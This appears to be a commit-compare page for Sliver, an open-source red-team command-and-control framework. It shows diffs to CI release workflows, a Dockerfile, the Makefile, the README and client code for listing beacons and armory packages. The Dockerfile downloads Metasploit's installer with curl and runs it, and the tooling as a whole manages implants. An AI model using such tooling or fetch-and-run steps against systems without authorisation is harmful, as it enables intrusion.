mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
101
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1073dedf10 | ||
|
|
59c642143d | ||
|
|
8f01ab216d | ||
|
|
062f89e768 | ||
|
|
03b470aec7 | ||
|
|
a74d6f6250 | ||
|
|
4f62f16a1d | ||
|
|
d4ec2203cb | ||
|
|
8309e7af14 | ||
|
|
68a270581f | ||
|
|
5e222411c8 | ||
|
|
727a40bc35 | ||
|
|
2038fbcfa3 | ||
|
|
9a5a3d161a | ||
|
|
4b4e7c82f2 | ||
|
|
2844ef91d3 | ||
|
|
cffbae3da7 | ||
|
|
35fa3c95b8 | ||
|
|
53afb01366 | ||
|
|
33401dcd18 | ||
|
|
f4fcbd9cdf | ||
|
|
3c864311fa | ||
|
|
6db7c42d47 | ||
|
|
004047308f | ||
|
|
ca0fd1e7be | ||
|
|
204f013c5d | ||
|
|
ac33916348 | ||
|
|
75b96fbc29 | ||
|
|
07bfb1735e | ||
|
|
ea20b344ce | ||
|
|
98c1ac9547 | ||
|
|
439c88ce78 | ||
|
|
461aa255ca | ||
|
|
076e34dd02 | ||
|
|
ae517d1d34 | ||
|
|
d34541a3d4 | ||
|
|
db7adc172d | ||
|
|
2f520931f8 | ||
|
|
707ce345c7 | ||
|
|
fcae20f92a | ||
|
|
d09c1fd086 | ||
|
|
98f510abf4 | ||
|
|
f2aa7b45c8 | ||
|
|
01a0bfc9cf | ||
|
|
0cef6749b5 | ||
|
|
2b286ae3cf | ||
|
|
ee7d36dfed | ||
|
|
7d793841f9 | ||
|
|
fc61b82de2 | ||
|
|
c91c724912 | ||
|
|
46d81fefa1 | ||
|
|
23da56f5f9 | ||
|
|
4a8397374e | ||
|
|
359224a43e | ||
|
|
8a2d087039 | ||
|
|
aa50e9c874 | ||
|
|
646ef4273a | ||
|
|
34738d2337 | ||
|
|
de31135fa5 | ||
|
|
8bc39cc231 | ||
|
|
f71a066ffc | ||
|
|
4b2b80b2f8 | ||
|
|
41669ed41f | ||
|
|
cdfee6510e | ||
|
|
3826ca851e | ||
|
|
d2d7637b7d | ||
|
|
e907878674 | ||
|
|
21b7842bbf | ||
|
|
b1ad4ada9e | ||
|
|
cf0b9766f7 | ||
|
|
c4b096f867 | ||
|
|
295c7cb5a0 | ||
|
|
6d8d80970e | ||
|
|
925e5dfee7 | ||
|
|
1885dc5ee3 | ||
|
|
1f694bda41 | ||
|
|
53a35e4727 | ||
|
|
082dd94ea5 | ||
|
|
e71d142d86 | ||
|
|
260f4d4d75 | ||
|
|
05b663ee8a | ||
|
|
c78a99a58f | ||
|
|
c874565177 | ||
|
|
57d36054b2 | ||
|
|
154061e93a | ||
|
|
d514872d6f | ||
|
|
30c46e85e7 | ||
|
|
87e85bfa40 | ||
|
|
f7a9040352 | ||
|
|
1756ffa2cd | ||
|
|
928faad39a | ||
|
|
34f28b15bc | ||
|
|
95ba042198 | ||
|
|
80375092fe | ||
|
|
271d50d65c | ||
|
|
752efb0ed8 | ||
|
|
657831f0c0 | ||
|
|
6382dcabc4 | ||
|
|
31efd2afb1 | ||
|
|
1d2e76ba47 | ||
|
|
9ba2d4cdfb |
No files matched your search
@@ -3,7 +3,7 @@ name: Release
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master]
|
||||
branches: [master, goreleaser]
|
||||
|
||||
jobs:
|
||||
|
||||
@@ -14,10 +14,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -35,6 +35,8 @@ jobs:
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
@@ -44,7 +46,11 @@ jobs:
|
||||
path: ./sliver-*
|
||||
|
||||
- name: Make Windows
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -59,10 +65,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
@@ -77,10 +83,14 @@ jobs:
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
|
||||
# - name: Make ARM64
|
||||
# run: make macos-arm64
|
||||
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -98,10 +108,18 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- run: mkdir -p ./release && mkdir -p ./artifacts
|
||||
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v2
|
||||
with:
|
||||
path: ./artifacts
|
||||
path: ./builds
|
||||
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
@@ -109,43 +127,34 @@ jobs:
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
- name: Release
|
||||
run: mkdir -p ./release
|
||||
|
||||
# Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
|
||||
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
|
||||
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
|
||||
# Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
|
||||
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
|
||||
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
|
||||
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
# MacOS ARM64
|
||||
# - name: Package MacOS ARM64
|
||||
# run: |
|
||||
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
|
||||
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
|
||||
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: false
|
||||
prerelease: true
|
||||
files: |
|
||||
./release/*
|
||||
./artifacts/*
|
||||
@@ -17,10 +17,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: "^1.17"
|
||||
go-version: "^1.18"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -6,6 +6,11 @@ on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
|
||||
@@ -15,10 +20,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -50,10 +55,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -40,3 +40,5 @@ sliver-server-windows.zip
|
||||
.glide/
|
||||
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
+16
-16
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.6
|
||||
FROM golang:1.18
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,22 +6,22 @@ FROM golang:1.17.6
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 3.17.1
|
||||
ENV PROTOC_GEN_GO_VER v1.26.0
|
||||
ENV GRPC_GO v1.1.0
|
||||
ENV PROTOC_VER 3.19.4
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
# Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
|
||||
#
|
||||
# > User
|
||||
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
# > Metasploit
|
||||
#
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
#
|
||||
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
@@ -22,16 +23,16 @@ GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 17
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 18
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
|
||||
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
|
||||
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
@@ -99,28 +100,28 @@ endif
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
@@ -151,5 +152,4 @@ clean-all: clean
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client_arm64 sliver-server_arm64
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
@@ -1,7 +1,7 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
@@ -40,6 +40,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
|
||||
|
||||
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
@@ -33,6 +33,8 @@ type ClientSettings struct {
|
||||
TableStyle string `json:"tables"`
|
||||
AutoAdult bool `json:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
@@ -55,6 +57,8 @@ func defaultSettings() *ClientSettings {
|
||||
TableStyle: "SliverDefault",
|
||||
AutoAdult: false,
|
||||
BeaconAutoResults: true,
|
||||
SmallTermWidth: 170,
|
||||
AlwaysOverflow: false,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -158,10 +158,13 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
|
||||
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
|
||||
LongHelp: longHelpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
|
||||
@@ -88,7 +88,10 @@ var (
|
||||
// public key -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
|
||||
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
|
||||
// cacheTime - How long to cache the index/pkg manifests
|
||||
cacheTime = time.Hour
|
||||
|
||||
// This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
)
|
||||
|
||||
@@ -223,8 +226,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
minWidth := 150
|
||||
if minWidth < width {
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
@@ -279,7 +281,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
if minWidth < width {
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
@@ -313,9 +315,26 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
for _, bundle := range bundles {
|
||||
if len(bundle.Packages) < 1 {
|
||||
continue
|
||||
}
|
||||
packages := bundle.Packages[0]
|
||||
if 1 < len(packages) {
|
||||
packages += ", "
|
||||
}
|
||||
for index, pkgName := range bundle.Packages[1:] {
|
||||
if index%5 == 4 {
|
||||
packages += pkgName + "\n"
|
||||
} else {
|
||||
packages += pkgName
|
||||
if index != len(bundle.Packages)-2 {
|
||||
packages += ", "
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.Name,
|
||||
strings.Join(bundle.Packages, ", "),
|
||||
packages,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
@@ -30,6 +30,7 @@ import (
|
||||
"net/url"
|
||||
"path"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
@@ -416,6 +417,7 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
defer latestRedirect.Body.Close()
|
||||
if latestRedirect.StatusCode != http.StatusFound {
|
||||
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
|
||||
}
|
||||
@@ -455,9 +457,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: config.DisableTLSValidation,
|
||||
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
@@ -46,7 +46,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, false, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -62,7 +62,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, true, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -92,14 +92,14 @@ func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
}
|
||||
|
||||
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := terminal.GetSize(0)
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if 182 < width {
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
@@ -134,13 +134,13 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
var next string
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
past := time.Now().Sub(nextCheckin)
|
||||
past := time.Since(nextCheckin)
|
||||
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
|
||||
} else {
|
||||
eta := nextCheckin.Sub(time.Now())
|
||||
eta := time.Until(nextCheckin)
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
|
||||
}
|
||||
if 182 < width {
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
@@ -148,9 +148,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
} else {
|
||||
@@ -158,9 +158,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
